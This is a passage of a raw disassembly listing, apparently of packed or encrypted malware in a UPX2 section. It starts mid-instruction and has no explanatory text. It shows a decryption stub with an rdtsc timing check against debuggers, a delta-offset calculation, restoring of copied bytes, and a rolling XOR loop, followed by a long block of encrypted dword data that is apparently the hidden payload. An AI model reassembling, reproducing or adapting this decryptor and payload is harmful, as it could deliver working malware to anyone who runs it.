ptr [eax+28A4h], 0E8h jnz short loc_314320D7 add ebx, [eax+28A5h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_314320DF ; --------------------------------------------------------------------------- loc_314320D7: ; CODE XREF: UPX2:314320C8j mov ebx, [eax+28A6h] push dword ptr [ebx] loc_314320DF: ; CODE XREF: UPX2:314320D5j pop ebx loc_314320E0: ; CODE XREF: UPX2:314320B2j push ebp mov ebp, eax sub dword ptr [esp+4], 809Ah sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+3638B0h] mov ecx, 0 rep movsb call sub_31432155 mov ecx, eax call sub_31432155 sub eax, ecx jz short loc_31432129 cmp eax, 100h ja short loc_31432129 lea eax, [ebp+3610D3h] mov dl, [eax-10h] call sub_31432159 jmp short loc_31432168 ; --------------------------------------------------------------------------- loc_31432129: ; CODE XREF: UPX2:31432110j ; UPX2:31432117j test dword ptr [ebp+3638A5h], 80000000h jz short loc_31432153 lea esi, [ebp+3638A9h] mov edi, [esp+4] movsb movsd mov esi, [ebp+363FECh] mov edi, [ebp+363FF0h] mov ebx, [ebp+363FE8h] loc_31432153: ; CODE XREF: UPX2:31432133j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_31432155 proc near ; CODE XREF: UPX2:31432102p ; UPX2:31432109p rdtsc retn sub_31432155 endp ; --------------------------------------------------------------------------- db 28h ; =============== S U B R O U T I N E ======================================= sub_31432159 proc near ; CODE XREF: UPX2:31432122p mov dh, dl mov ecx, 27D2h loc_31432160: ; CODE XREF: sub_31432159+Cj xor [eax], dl inc eax add dl, dh loop loc_31432160 retn sub_31432159 endp ; --------------------------------------------------------------------------- loc_31432168: ; CODE XREF: UPX2:31432127j test eax, 375078B3h setns byte ptr [ebx] ; --------------------------------------------------------------------------- dd 89D0C426h, 150447Bh, 20F9D043h, 4B770548h, 5C7B132Bh dd 50E031EEh, 2B94256Dh, 931B8898h, 6B98E2E3h, 735B2842h dd 0E3FB7DF9h, 0C2E0F12Eh, 694D409Ch, 6FDDC809h, 0D41C114Bh dd 19F212CDh, 0EC915335h, 0A42ABB2Ch, 2F0BD3F1h, 4BD674FFh dd 9B3B0C92h, 35F8403h, 0A074B8DBh, 2C5BF0C8h, 0A8DDE307h dd 0EC3C5E69h, 0DFABD0CDh, 861DF99Eh, 883826D3h, 0D8B085h dd 0C11D226Bh, 365D95BCh, 0A1CCFE0Dh, 56A76308h, 1BB25521h dd 0CD70707Eh, 273810E8h, 6194C4EDh, 0D23D245Bh, 406A9FBAh dd 696E6F3Bh, 0B6637E8Dh, 233B38A8h, 1D7048h, 9F3B94E7h dd 0FF884F77h, 96431EBDh, 4FD875C8h, 0E0BB11EDh, 0ACE5B008h dd 21F8E6BDh, 7567643Dh, 600E2F00h, 15F43D76h, 25F7501Eh dd 402EE54Ch, 453B9783h, 806E258Ch, 545D53A8h, 0C098465Dh dd 7540B56Bh, 83D8B0BEh, 966D2C8Dh, 864FF0C8h, 0D6AA41EDh dd 35D13108h, 20CEEBFAh, 0D568C5C5h, 0A90B10DEh, 3B860D05h dd 80C9501Eh, 401B7C20h, 7547CF68h, 806E0B96h, 2FE73869h dd 0C098A4CCh, 747F9BE8h, 0C3DBF0E2h, 0A0685040h, 169D79C0h dd 88B8A653h, 80584001h, 0B507D0C2h, 0C0AE4B9Eh, 0E437D06Dh dd 0D8B266h, 0A0CDDDBFh, 0CB18C6D8h, 0ECBB2987h, 6DD93008h dd 20CEC0A8h, 0D2C9E5C5h, 0C5CB10DEh, 0EC5B5277h, 0CA84DB08h dd 19D8C3C0h, 0FB8105E5h, 2BAB303Eh, 77712C23h, 0DCDF8E58h dd 603B78BFh, 9527B089h, 0A04E6B7Eh, 0C538344Bh, 7F3C9FA8h dd 1758300Ah, 2192D0C2h, 0C09C7020h, 60387868h, 9527B089h dd 0A04E6B7Eh, 0C417304Dh, 0E0B892EAh, 0E8083062h, 20FCD0A8h dd 28597022h, 615247E4h, 0D9D8D8h, 35875029h, 402ECB9Eh dd 0E1B89A00h, 0D6CDCF08h, 0C8F8E693h, 0C098704Dh, 603A4101h dd 59D8DA88h, 0AA125ACBh, 7BD26537h, 1153905Eh, 0F6E5B3CBh dd 20F8E693h, 0C2ACF447h, 66D010E8h, 4ED8B088h, 0EC34147Ch dd 0D28D0FC8h, 6DB8A653h, 0B64FFABDh, 0AD31E3A8h, 0F6A3AEF5h dd 0F336A1E8h, 0DAC460h, 0B2C5D328h, 4018C6F4h, 0E2B81467h dd 5D33008h, 20CEEB4Ah, 4F9900B7h, 560FEC6Dh, 0FA5D3B88h dd 5F786613h, 0C597F1B8h, 0E08EA821h, 0BBBEB583h, 5007D09Eh dd 901DFF49h, 0EB3826D0h, 36E35A05h, 5F62B328h, 0C597F1B9h dd 0E08EA835h, 0BBAABD83h, 291BD09Eh, 4F9901B7h, 56007A6Dh dd 1605888h, 1DF55028h, 402ECCA0h, 0E0D25FE3h, 0F0A7E9FEh dd 231953ACh, 399B3022h, 0A387ABFh, 0D76D3D90h, 1978663Dh dd 4018F0D1h, 1EF594E5h, 0E6A7CFF7h, 6DFC5D03h, 0C0987048h dd 27B5BB8Eh, 0E4EA1B8Ch, 9B6CC5A5h, 26B4F0FEh, 4BDE92E1h dd 625AF28Bh, 4A2C5B5Dh, 0B0911848h, 0ACB310E8h, 0C453B0E2h dd 0A0105042h, 2A10F0C8h, 8AEAC128h, 15A76006h, 20CEEB46h dd 805CF310h, 60481980h, 6A0C3B88h, 0CAB4DB28h, 2A189A88h dd 0E0D2C26Ah, 80283960h, 71F8BAA8h, 3FC88F22h, 5603E67Dh dd 8581EF88h, 0A7FC5FD7h, 0CD18F0C9h, 0D6A890DDh, 8C5B8908h dd 0CF73D0A8h, 2D19D5BBh, 600E00E8h, 14EF3505h, 4087501Eh dd 6072A498h, 75476F02h, 806E0BF6h, 55A7102Dh, 0C1D6987Ch dd 71D010E8h, 53D8B088h, 0C21D144Dh, 324897BDh, 8CD1E601h dd 803D576Dh, 25B738FFh, 75677048h, 600E2F84h, 3B5A2577h dd 5F2F501Eh, 7623B65Dh, 8AB8FA68h, 0F6CDCF0Ah, 99F8E693h dd 0C0987160h, 0E9D93B7Fh, 578C9484h, 9BC2C5D7h, 0B62BF0FEh dd 0DCEE35EBh, 0D458303Eh, 9E6D2FFFh, 45984673h, 265E6428h dd 72DC4E0Bh, 840CAFC6h, 2A189AC0h, 562D6F42h, 5580633h dd 0B324A468h, 0C09DF7A0h, 0F1F123E8h, 85E18A6Bh, 0A04E6C7Eh dd 3C99C2BDh, 93DBB44Ch, 0A82C437Ah, 2E651129h, 94C87048h dd 306946B8h, 9527E3D8h, 0A04E6B46h, 3441304Dh, 0C4CC6F67h dd 0D6DDBF00h, 0C8F8E694h, 3F678D8Dh, 26ADEFBBh, 0EBD886B3h dd 88BCD1A6h, 1718F0C9h, 0DBFE0597h, 15A7303Eh, 20CEEBEEh dd 3F6318A1h, 0A621017h, 6AD8DA88h, 0C8783A28h, 401CF0C9h dd 0E0D254E3h, 0B545A58h, 761A2F6Ch, 0C0AC2F30h, 88F123E8h dd 0FF274F52h, 0B53EC5A5h, 114AF0FEh, 7547C039h, 806E0B42h dd 0E3D8142Bh, 98C028D8h, 600819E8h, 0D6D888h, 0A0785128h dd 4018F0C8h, 0E0B89068h, 80709508h, 20F8D0A8h, 93CE2148h dd 5B6A8517h, 5973B0BEh, 0D5B8D484h, 83F61233h, 0F9C905E5h dd 7F0A303Eh, 16C37A3Dh, 0AC1DF948h, 883826D7h, 0D8B09Eh dd 0CB173F64h, 324880BDh, 8CD1E601h, 0D63D576Dh, 458DBCC9h dd 3FC87009h, 5603427Dh, 705D3988h, 63786617h, 3379B294h dd 8DD9DE0Dh, 0E217546Dh, 549BB5C2h, 0B4CE2C3Bh, 145B75BBh dd 74ABDC88h, 0CE1D3C5Ah, 256AB3C8h, 0A6DDE409h, 0C13D5C61h dd 458A93A8h, 86FD0429h, 2D5D7C81h, 69A8C0E9h, 0A0393746h dd 217D828Bh, 92E8F51Ch, 0F33D5367h, 63F891DBh, 0B4F9153Ah dd 0D5D428Dh, 54BDC4E7h, 0C11D2240h, 325BF0ACh, 85CCF10Dh dd 0E52A585Ch, 63F8B4C9h, 0B4F9153Ah, 0F57448Dh, 6CBDD8E4h dd 0F34A6358h, 336891A6h, 0E0CCFF00h, 0F431484Dh, 458AB8FCh dd 86981429h, 345D7C81h, 54BDDDE1h, 0D3010347h, 147595BCh dd 0E0DDFD01h, 0E53D424Eh, 529AB9E4h, 0C0E10229h, 264C75AFh dd 41BDDCE1h, 0C90A245Ch, 256C85AAh, 0A7B8D11Bh, 0E91E446Dh dd 49ABB5C4h, 87981532h, 97E648Dh, 698CD5E4h, 0E7783545h dd 2F5584ADh, 85D4E50Ch, 0E4365140h, 20B9B5C4h, 94EC150Fh dd 26487D8Dh, 4EBDDCE1h, 0E11D3D49h, 347DB7C8h, 90D5F53Ch dd 0E82C5158h, 45BFD0E9h, 0B2FD263Ch, 0E57799Bh, 74BDF788h dd 0D30A357Eh, 5769FA1h, 0A7B8D110h, 0EF0E446Dh, 4595A5C4h dd 0AFFE1E01h, 14597D9Ah, 41B6DFE1h, 0C1171C28h, 2271BCACh dd 99CAF11Ah, 0E1153049h, 459186D8h, 86FE3F3Fh, 605D7C81h dd 6EBDC0C7h, 0C514396Eh, 30689185h, 0A1DFFE01h, 0E5287F08h dd 4F8A80C6h, 0B3EB152Bh, 0F4A40E8h, 73ABD5EBh, 0C93E621Bh dd 406C83BAh, 83D7E238h, 0B32B436Dh, 589D9E9Ah, 0A5CB703Ch dd 0C51569Ch, 74ACF1EDh, 0D51A395Ah, 16B95BCh, 94DDC368h dd 0E534594Eh, 4595B9FCh, 0A5F42348h, 3338608Dh, 65ACC3F1h dd 0CD110445h, 677A4ADh, 0B4DDFC01h, 803D5D61h, 4195BEFDh dd 0A5F12638h, 265E5F9Fh, 0BDDCE1h, 0D40A397Eh, 17491BDh dd 83D7FC04h, 0E92A6708h, 49BEB5DCh, 8E981524h, 0A5C519Ch dd 50ACC3FDh, 0C90E395Ah, 257F95A4h, 8BD7C41Bh, 0CE585E6Dh dd 458A93DCh, 86FD0429h, 605D7C81h, 729BC4C6h, 0C50C314Dh dd 23778298h, 0E0CBE30Dh, 0F21B4446h, 458CB1CDh, 0A3F70218h dd 254B638Dh, 7496B0F0h, 0C11D226Bh, 254B95BCh, 8FD1E40Bh dd 0F4163066h, 419DA2EBh, 0B3CD153Ch, 1268628Dh, 73BDD3E7h dd 0D436505Bh, 16689185h, 0AFCFF501h, 0E33D636Eh, 4E97B9DCh dd 8FEC3E48h, 26567598h, 0BDDCE1h, 0D0372466h, 32489EADh dd 93DDF307h, 0EB37647Bh, 6EF8BECDh, 0A5E83F3Ch, 35D4386h dd 6EB7D9FCh, 0F00C1E28h, 256C9FBAh, 89EEE40Bh, 0E12D447Ah dd 4D9D9DC4h, 0C0E10227h, 156964A6h, 49A1C2EDh, 0D2173646h dd 296C91A5h, 8FECFE07h, 80365563h, 52AFA4E6h, 96FD0421h dd 154C6281h, 6595DCE9h, 0D90A3F45h, 2C6CA2C8h, 83D1FE3Dh dd 0D33D5467h, 4E91A2DCh, 81F7242Fh, 33516386h, 6EB1C2FCh dd 0F32F504Fh, 216CA389h dd 90CDE41Ah, 0EF345308h, 4F8BB5DBh, 0B4FD1B2Bh, 0E5773E8h dd 74BBD5E6h, 0D41D3728h, 346B9FA0h, 81D6E90Ah, 0F2585565h dd 208EB3CDh, 0A4F6153Bh, 35763E8h, 0ACD5E3h, 0C50C3E61h dd 347D9EBAh, 93D7FC2Bh, 0EE39786Dh, 209DBCCCh, 0A5EC1E01h dd 145D7E9Ah, 43ACD5CFh, 0C5163E47h, 247D84ABh, 94D9E43Bh dd 0EE11306Dh, 4E8AB5DCh, 0B0D7042Dh, 60797E8Dh, 65ACDEC1h dd 0D41D3E5Ah, 2E7D8087h, 0A1D4E23Dh, 0F4367908h, 4596A2CDh dd 0A1FD223Ch, 0C51568Ch, 4499B0EDh, 0E928117Eh, 436C2FBh dd 0B2B8DC24h, 0EC1B576Dh, 6B9DA3C7h, 9298092Dh, 1077778Dh dd 6593DEEDh, 0E1001551h, 277DA2C8h, 92DDE539h, 0EC396671h dd 58BDB5DDh, 0A5CA7009h, 145D438Fh, 75B4D1DEh, 0E100154Dh dd 0B62BA6C8h, 0B6EE9202h, 8132E483h, 388A2FFAh, 0B00D8F1Eh dd 0EB3826D7h, 568EE64Ch, 0D0870678h, 9E8D0FD0h, 63B8A653h dd 420620CCh, 6975D0A0h, 91505BB3h, 60381080h, 24943D60h dd 0CA783A2Bh, 1348A1CDh, 2C339502h, 0D08CBB58h, 71B8BAFCh dd 5567231Ah, 600E2CEEh, 0FFD4740Bh, 96445EBDh, 48DC73C8h dd 0F42D1DABh, 0B3580633h, 72F8BA61h, 0F2984020h, 31FC9BE8h dd 5098DAD9h, 23603A79h, 2A4CF808h, 7547C066h, 806E0C0Ah dd 13D8142Bh, 0CF58F59Ah, 0BACFD271h, 0C31A93D0h, 4887637Fh dd 0BFE70F09h, 0E01D1467h, 0E8083008h, 20F8A0A1h, 0C0F2A4C3h dd 2052DC63h, 10D8B0E0h, 0F27A3A28h, 4970F0A2h, 8AB89018h dd 0D00B6108h, 1B0E4557h, 99C7707Eh, 5B7E8517h, 0FF5DB0BEh dd 2DF3215Ch, 402EE5B4h, 75359C8Bh, 806E2008h, 73AF01ABh dd 4513A2B7h, 600E2B0Ah, 27233F05h, 8B905028h, 0CBE70F37h dd 0D6836AEDh, 0C8D7BD08h, 0C8F8D080h, 3F678F52h, 5BDE9563h dd 8F55B0BEh, 0A0787867h, 0BFE7F920h, 0A3D1B97h, 5580633h dd 0ADD8A468h, 0C0B02CC7h, 9ECCF8E8h, 85534F77h, 0A04E6BDAh dd 4B6C304Dh, 0C8D11FE5h, 5FB03008h, 0AB072F56h, 955B2F8Fh dd 60381000h, 0ED59ED88h, 0A04E4B38h, 0C59539FBh, 0E08E8EF5h dd 0D1096459h, 0DFA981F8h, 0F6A302DDh, 443C97E8h, 3B9E2577h dd 6225501Eh, 0A84DF0CCh, 0E0B89068h, 0BFB5B155h, 4AF8E6B3h dd 0CA0DFDB7h, 303826F3h, 24F87DDAh, 23787A28h, 877EFC0Ch dd 0D6A3C0EDh, 4778FD08h, 16E3822Dh, 0EA985448h, 0AFB4DE8h dd 930E892h, 2D785028h, 0BEB2918Ah, 2348E5A1h, 0BC38A561h dd 0A4FDD09Eh, 49DA7840h, 5604707Dh, 0C33A4788h, 0A078B87Dh dd 0C145F0C8h, 0D6A30985h, 0E4C5BB08h, 0A3F8E694h, 0C0905434h dd 608194E7h, 0EC59B088h, 0A0785220h, 411C989Ch, 75479068h dd 806E0B92h, 0A4752C23h, 0C099746Ch, 605240E8h, 0D8B460h dd 0F22A0628h, 0D5E7A7C8h, 0E08EABFEh, 17D5F93Bh, 20F8D1ACh dd 0C2F22119h, 8397AB9h, 40D8B088h, 0C2EDAF7Ah, 0D618C6F3h dd 0BBCC66EDh, 84306458h, 77F8D0A9h, 0E0BCC4B7h, 9F3810EAh dd 36E4F21Dh, 60FD0928h, 54FBE6BCh, 8A6C1B38h, 0D7096208h dd 0FA6D2FFEh, 99984673h, 0B04DD06Dh, 464D4FDEh, 2D786613h dd 174AB49Fh, 6DE0D402h, 8059349Fh, 0E0CB7BA8h, 33C16022h dd 30684043h, 5088E0D8h, 0CAEDAF7Ah, 0C118C6F3h, 0E0BA98ACh dd 0A42CCF08h, 126D2FA0h, 93984674h, 5C0A8517h, 0C285B0BEh dd 9EF8502Ch, 61985C2h, 0F5C01DE3h, 99BB303Eh, 30F84525h dd 119B707Eh, 0E4EAEFBEh, 1F50BF48h, 0AF785029h, 4019E04Ch dd 0DA861068h, 1E207Dh, 0A4F7D096h, 0C0987149h, 15182E68h dd 3E59F679h, 0E7361978h, 8F93B2BDh, 0AFB9D6AEh, 0EA09FE23h dd 73AE81A8h, 0FCB2E5B7h, 5B6110DEh, 0DF5DBF49h, 2D785028h dd 7606614Dh, 88B8FA68h, 80583004h, 0B50783F8h, 0C0AE4C62h dd 60381CD5h, 0BF5DBF88h, 49785028h, 4018F079h, 0B2E8AEE9h dd 5576641h, 20F8D00Dh, 6C90B6CBh, 0E4371DD4h, 0D8B011h dd 530D7014h, 4F22CC64h, 0E0B81CEDh, 0A0559D08h, 1DD8F088h dd 0B4FD1769h, 5C946F9Dh, 81A4C5A8h, 0C858AF56h, 316D84BCh dd 90BBEEE9h, 0F5771F32h, 0DFBF16C0h, 7AA97F48h, 603837F8h dd 0FF8A527Fh, 96439ABDh, 10D8C3C8h, 8E8C038h, 80583001h dd 4E8FBFECh, 0A4F91F24h, 5AADEFE8h, 85D886B4h, 934E24E8h dd 249D7901h, 0B1B8A654h, 805A3060h, 76A98128h, 0FE0D8F18h dd 0ED3826D4h, 36C3231Dh, 694B0028h, 1248A19Ch, 7547C139h dd 806E0B7Ah, 0DFDCD42Fh, 0F6A336DDh, 0E0FBE8E8h, 36CDDB05h dd 63815128h, 4172F1A2h, 9347A397h, 4DCF0Ch, 16B8D815h dd 9EEC7148h, 3A4CD06Dh, 0D0536BBBh, 0F07B5B9Bh, 0F7AD7DF4h dd 6BB8A675h, 80593CB2h, 28725BA8h, 0C3987049h, 0F33B10h dd 0A62B7B03h, 0E77D2449h, 6EF3052Ah, 0B3B757EBh, 0B0FFC83h dd 4AAC807Ch, 0AACA2108h, 66ADEF17h, 8BD886B4h, 96432AA5h dd 4CDC73C8h, 93B5F43h, 0EA5FF70Fh, 0A9F838A8h, 935B7307h dd 376C56A7h, 5C9DE2C9h, 0D21B3965h, 267783A7h, 89EFCC1Ch dd 0F7375466h, 55BB8CDBh, 0AEFD023Ah, 125D469Ch, 6EB7D9FBh dd 0D0001574h, 256A9FA4h, 81EC901Ah, 0F43D577Ah, 548BBFE0h dd 0C0987248h, 0EF4A45B8h, 63AAD958h, 0C9027E4Ch, 303696ADh dd 0A9F69004h, 0F2787B4Bh, 4380BEDEh, 0CAFC063Fh, 327D43BDh dd 4F92C0A8h, 86581E61h, 346A99BEh, 8ED9A1Dh, 80583008h dd 831551F5h, 6984656h, 562D7B6Dh, 9527B088h, 0A04E6BB6h dd 34071809h, 6BA6FA54h, 0B66366BDh, 1C5489A8h, 0A6B20566h dd 7DC72E69h, 0BD5593FDh, 0A04E6C72h, 171A8643h, 6D1DF6CDh dd 0B66FE18Dh, 0D77D5FA8h, 3A98467Fh, 0ECC25661h, 0B1234EC6h dd 4BB7B229h, 0BB0718A9h, 9C3B6F97h, 0F55C382Ch, 287D16FDh dd 0C0984608h, 60381800h, 439EE388h, 0EC341406h, 0EA8D0FC8h dd 0EBB8A653h, 134F44C8h, 0DFABD2C2h, 0F6A322DDh, 14F895E8h dd 85D4E80h, 5F786668h, 0C4F06318h, 8476F96h, 80583003h dd 7FBB96FBh, 84B62307h, 9F385CA4h, 36E31A1Dh, 5E11B828h dd 0AEF00F37h, 1F476F9Dh, 0B64AE185h, 0AD31E3A8h, 0F6D874CDh dd 316941E8h, 5189E0D9h, 6EDAF79h, 0A818C6F3h, 0E0B89063h dd 0D21D635Dh, 64D6E29Bh, 3F983C04h, 5603BA7Dh, 0D25888h dd 0D30F5028h, 2E7182B8h, 0E0F9F61Ch, 0D2CDCF58h, 0A9F8E693h dd 0F6A32ACDh, 0ED091FE8h, 36C1C105h, 0C0FDD928h, 1118C6F4h dd 0DB120597h, 0E8CB303Eh, 20F8D0ACh, 0D9E6C5C5h, 0ED6110DEh dd 36E4F635h, 55D7B828h, 877E0F37h, 0D6A6FAEDh, 3083008h dd 16E6BC0Dh, 55157048h, 600E0EC2h, 1B2E4D8h, 0C82A5042h dd 0C018F0CAh, 0DCF20597h, 40DD303Eh, 0ADDAA5F2h, 0F6862DC5h dd 665242E8h, 1EB20505h, 0F62C501Eh, 1249A098h, 0DCF60597h dd 7F00303Eh, 16C4963Dh, 0A71DB648h, 603826D6h, 0D8BC60h dd 0EF2B0728h, 722BBB8Bh, 0ACF4D446h, 2ACDCF08h, 0B3F8E693h dd 0C0987720h, 0B58D9DE8h, 59D88690h, 9C6EEDA5h, 6AF0F0FEh dd 8476F9Dh, 80583004h, 69B699FFh, 0EECC3506h, 60745CACh dd 3B722577h, 60FD501Eh, 422D74C7h, 882B9068h, 8058300Dh dd 39EB6525h, 4DC1707Eh, 56042255h, 0F42B5888h, 1DFBAFD7h dd 402ECCFEh, 0F03C9F68h, 158300Ah, 20F94044h, 0C1F02448h dd 9F3810E9h, 36E4A61Dh, 30BCD128h, 1018F0C9h, 0E0D244E3h dd 0B6CDCF5Ah, 0A5F8E694h, 0CDED2988h, 602B9880h, 0CA4D4F88h dd 4B786613h, 2CA5732Ah dd 0E0B8A676h, 5D5197Dh, 20CECED8h, 0E20D8F18h, 0E53826D4h dd 895CBF48h, 2B785029h, 4093FC88h, 6537A097h, 806E2E64h dd 1E9F556Eh, 0AA99707Eh, 0A397AE8h, 2E4D4F8Ah, 23786614h dd 0C4170F30h, 0E0B89108h, 0E8CDBD9Bh, 4AF8E6B6h, 3FCB2258h dd 56040E7Dh, 0F183588h, 0A07910ADh, 0C2A57DC8h, 51B8A676h dd 7A71D800h, 0B4902F57h, 9E987048h, 54B1F6C3h, 9527E4ACh dd 0A04E6B8Ah, 5E884D45h, 0E109905Eh, 7FA23AE0h, 5D6D5D57h dd 0AA984656h, 602C78E8h, 538AB088h, 9C52C5D7h, 495F0FEh dd 7535844Ch, 806E700Ch, 2A4EDFF8h, 0D4BC34C3h, 6230F029h dd 4ACAB1C2h, 0A332422Ah, 483CB4C3h, 21B771E8h, 8B0938E8h dd 0DFE8F4ECh, 7D15207Ah, 600E2C80h, 0D8AC60h, 96567528h dd 6036D0B0h, 0C582B046h, 0B876152Dh, 80F5D0h, 8A92036Dh dd 407659A7h, 9527E788h, 0A04E6B72h, 40B43449h, 0E0D29068h dd 7F0B6758h, 16C4FA3Dh, 4415FB48h, 0A3826FDh, 6BC35388h dd 48295DE1h, 4018F0CDh, 0EADCB54Eh, 15A76708h, 20CEEBF2h dd 9094B4CBh, 67501B03h, 8DD8B088h, 9666C695h, 0BF4BA7C8h dd 0D684BAFDh, 0FE98B508h, 484D5DFCh, 43984674h, 562D944Dh dd 8D55B088h, 0A04E6E4Fh, 40723EE3h, 1FEBC639h, 0B664169Dh dd 200053A8h, 4B095F36h, 88D9D16h, 0B0D886B4h, 0D5D6A225h dd 57F090D8h, 81476F92h, 89BB277Ah, 0CBF9A725h, 0EB57FBA2h dd 8859D26h, 0F3D886B4h, 4B8FD78Ch, 0D5E7A371h, 0E08EAC72h dd 95338D88h, 54F9D09Eh, 0B5A81862h, 0F5C710E8h, 0EE8B42h dd 9E1FEDA8h, 3418F0FEh, 8C3D5779h, 80580616h, 0E6F8D0A8h dd 0F6A617CDh, 68D110E8h, 0C7274F76h, 966D24ADh, 4018F0C8h dd 0E47ACDE8h, 0CF523D08h, 4F97BE88h, 0A6F75026h, 6517CC8h dd 4FF891EDh, 0CD112408h, 2F6CD0ADh, 8CDDF348h, 0E12A526Dh dd 2DD9B5DCh, 0E0B85042h, 407730C8h, 6DB5C5FBh, 0C758224Dh dd 257C82A9h, 0EAB5B106h, 0E534555Ah, 4594A4C6h, 0B9F4033Bh dd 105978C8h, 61F8C9F8h, 0C5583446h, 237D80B0h, 94D6F11Ch dd 0F42B1024h, 499CBEC9h, 0E0A21726h, 37321DC5h, 68BBC4E9h dd 801F3E41h, 60749CA9h, 0C0C1F10Ch, 0A03C5E69h, 489FB9C6h dd 0A6B85C3Ch, 6186287h, 6EBDD9FAh, 0E958234Ch, 297987E8h dd 0EAB5AA1Ch, 0F23D585Fh, 5299F0CDh, 0AFE1502Dh, 6183C9Dh dd 6EBDD9FAh, 8047234Ch, 25759F8Bh, 94F1B049h, 0A02B5928h dd 4595B9DCh, 0B4D15069h, 0C1863CFh, 21BDC4E9h, 90BFD42Ch dd 0FCC8ACBh, 0AC1A31C0h, 90FE2421h, 0E8671CA8h, 0A0F60FE7h dd 0A254DCB4h, 0B9FAD458h, 0BE1B1308h, 4018F0C8h, 0E0B89068h dd 80583008h, 20F8D0A8h, 0C0987048h, 603810E8h, 0D8B088h dd 0A0785028h, 4018F0C8h, 0E0B89068h, 80583008h, 20F8D0A8h dd 0C0987048h, 603810E8h, 0D8B088h, 0A0785028h, 4018F0C8h dd 0E0B89068h, 80583008h, 20F8D0A8h, 0C0987048h, 603810E8h dd 0C7B02807h, 74DDD348h, 4018C6F7h, 0DF6035EBh, 8F58303Eh dd 0ADEC931Fh, 7797681Bh, 0B03B16A3h, 24FCF403h, 0D2741203h dd 485ACBD1h, 0A233841Bh, 8C1A1B1Ch, 1F2C4521h, 4511707Eh dd 600E2F30h, 0C25BB563h, 0C1A1B200h, 0C818F40Ah, 0D69CF6EDh dd 803CD808h, 90D0A8h, 4D987048h, 561B836Dh, 18E1E988h dd 60FB5C5Ch, 0BFEF12CCh, 0D68724EDh, 59AFF308h, 49E5DABh dd 0D07B707Eh, 0EFC46017h, 4303388h, 3DF1A6CAh, 402ED35Bh dd 94B8AAEBh, 836A1B0Dh, 6E75C0DAh, 9EC328B4h, 14382A6Bh dd 0EBEA4F8Ch, 0B00AAF2Bh, 0BFE7A720h, 0CB76BB97h, 0B667E885h dd 6BFB88A8h, 4517B37Ch, 600E2F50h, 3F6C354Fh, 0A078501Eh dd 7CF0F0C8h, 6BB89068h, 0B667848Dh, 0D66E38A8h, 0D8708FB7h dd 0E33810E8h, 36E70435h, 0A80D5028h, 64176D41h, 7C53905Eh dd 0BFECBDF7h, 0AF3BD09Eh, 0F6A7C8CDh, 0D4AD99E8h, 0E8D886B7h dd 0A078502Bh, 0CBDB39FBh, 0E0B810FBh, 6DB06208h, 23072F56h dd 0F6A7A8DDh, 0E3EE13E8h, 0FD8BCF2h, 0A07957ACh, 506273C8h dd 1D3C9F68h, 0B583008h, 0C8A8DCEAh, 3F678E80h, 5FE095EBh dd 0C6DBB0BEh, 2070DA78h, 596CF031h, 949669E8h, 71B3700Bh dd 0A1F99823h, 1F47AFA9h, 24C19137h, 75D8FCC4h, 685309C4h dd 4FE2094Bh, 0E0B827E7h, 0F8D95608h, 2FCAE356h, 0C098DBCDh dd 5ABB46E8h, 8BDDC588h, 0A2934062h, 0B11BFA43h, 1ECA7839h dd 355BCFF7h, 20CEEF70h, 0B858F5E5h, 0E4BC1F13h, 0FFD8B088h dd 9647889Dh, 15F0A0C8h, 0E3476F96h, 0B667E88Dh, 0F87D5FA8h dd 0C3984677h, 0E36B34ECh, 0DBEBB248h, 4370E627h, 60D170DAh dd 0C49C513Bh, 0A444190Ch, 7BDCDC81h, 41719B08h, 0DBEF1F13h dd 81E6C455h, 0CE3DF8D3h, 0C12E8413h, 4183C993h, 17644F7h dd 95DA0653h, 41BE04E4h, 38D18313h, 81C6C47Bh, 0F8912DD3h dd 0C10E843Bh, 0C587D693h, 15644E9h, 5C7E053h, 3F9E04A9h dd 5607A87Dh, 7131EB88h, 0FE87AFD7h, 0A90C324Bh, 1F476E87h dd 843230CBh, 0D5CE38F0h, 55108FB7h, 600E36A8h, 18E908EEh dd 44B8B22Ah, 26FAF2CBh, 0B8BEFAC3h, 7FAD2BE0h, 283A5357h dd 0C5F2A1CFh, 9536F8B0h, 0FA584F77h, 1073232Bh, 9DF298h dd 4AB8A64Eh, 0E83217E3h, 0DA787AF0h, 7080054Bh, 94D6F8F9h dd 1604F77h, 24785028h, 9115841Ah, 0B726E88h, 385DDBFEh dd 0A0F8D0A8h, 32792E3h, 58888565h, 0D7F3B0BEh, 57BB8ADFh dd 7620554Dh, 0E0B89068h, 40CD3F00h, 0D6F33069h, 0F6A0D3CDh dd 664D11E8h, 2551BDEEh, 258E43C3h, 402EC86Bh, 86BEE56Ah dd 6B7D0105h, 21F5B6ACh, 2833166Dh, 9FC7EF54h, 89ECF303h dd 96479CBDh, 0B7DB5BC8h, 0D68035EDh, 80583008h, 0E06DDFA0h dd 2832CC4Ch, 9FC7EF74h, 3F082501h, 258E501Eh, 402EC86Bh dd 0EFBCE569h, 0AB5ADB39h, 0D73B7B68h, 0F6A0D5CDh, 603810E8h dd 8AFFC480h, 9640CFADh, 4BF831C8h, 0A5339D0Eh, 78E89B6Eh dd 0BF7D5A02h, 1984670h, 73D0B08h, 0ABDE39ECh, 0B1E901Bh dd 24A0E223h, 4BB895E7h, 0B8C7B582h, 78FCD09Eh, 6B809089h dd 8BC4A02Bh, 0EB60D6A8h, 4BD33628h, 181C9AD1h, 1F4B6F80h dd 525CBDF7h, 46F03069h, 0A658F94Dh, 0D03BFB43h, 2B21A18h dd 539EB870h, 929C0F37h, 0E8D2A21Ch, 7382D850h, 0EA062F57h dd 5ECB33Ah, 0A94CDA16h, 0DBAC7A76h, 0AC0C9AD6h, 4C6C3A36h dd 0ECCC5A96h, 4DB3C9B8h, 0E9132D18h, 57385F8h, 0A1D3E858h dd 0B0653D4Bh, 57786610h, 7620554Dh, 0E0B89068h, 305B4488h dd 0A50F7AC8h, 0C0AE48EDh, 683810E8h, 5560B7FCh, 0B78BCA3h dd 0E59D0787h, 0E3B8A650h, 8F593008h, 20F8072Ch, 6A70C048h dd 0DC859943h, 0B0D886B7h, 29D3FAC0h, 76273075h, 453D6768h dd 83580630h, 54F8D0A8h, 651D875Dh, 603826D0h, 74D9B088h dd 5EB9B82Dh, 0A9A80F37h, 65333BC2h, 806E0FB4h, 0E8D31F23h dd 0FF5CCDC1h, 28B110DEh, 64BF0874h, 93D366D7h, 0B7B39608h dd 0D68035EDh, 80583308h, 0D6F6A4A8h, 0F6A0D3CDh, 654C90E8h dd 0FF26F260h, 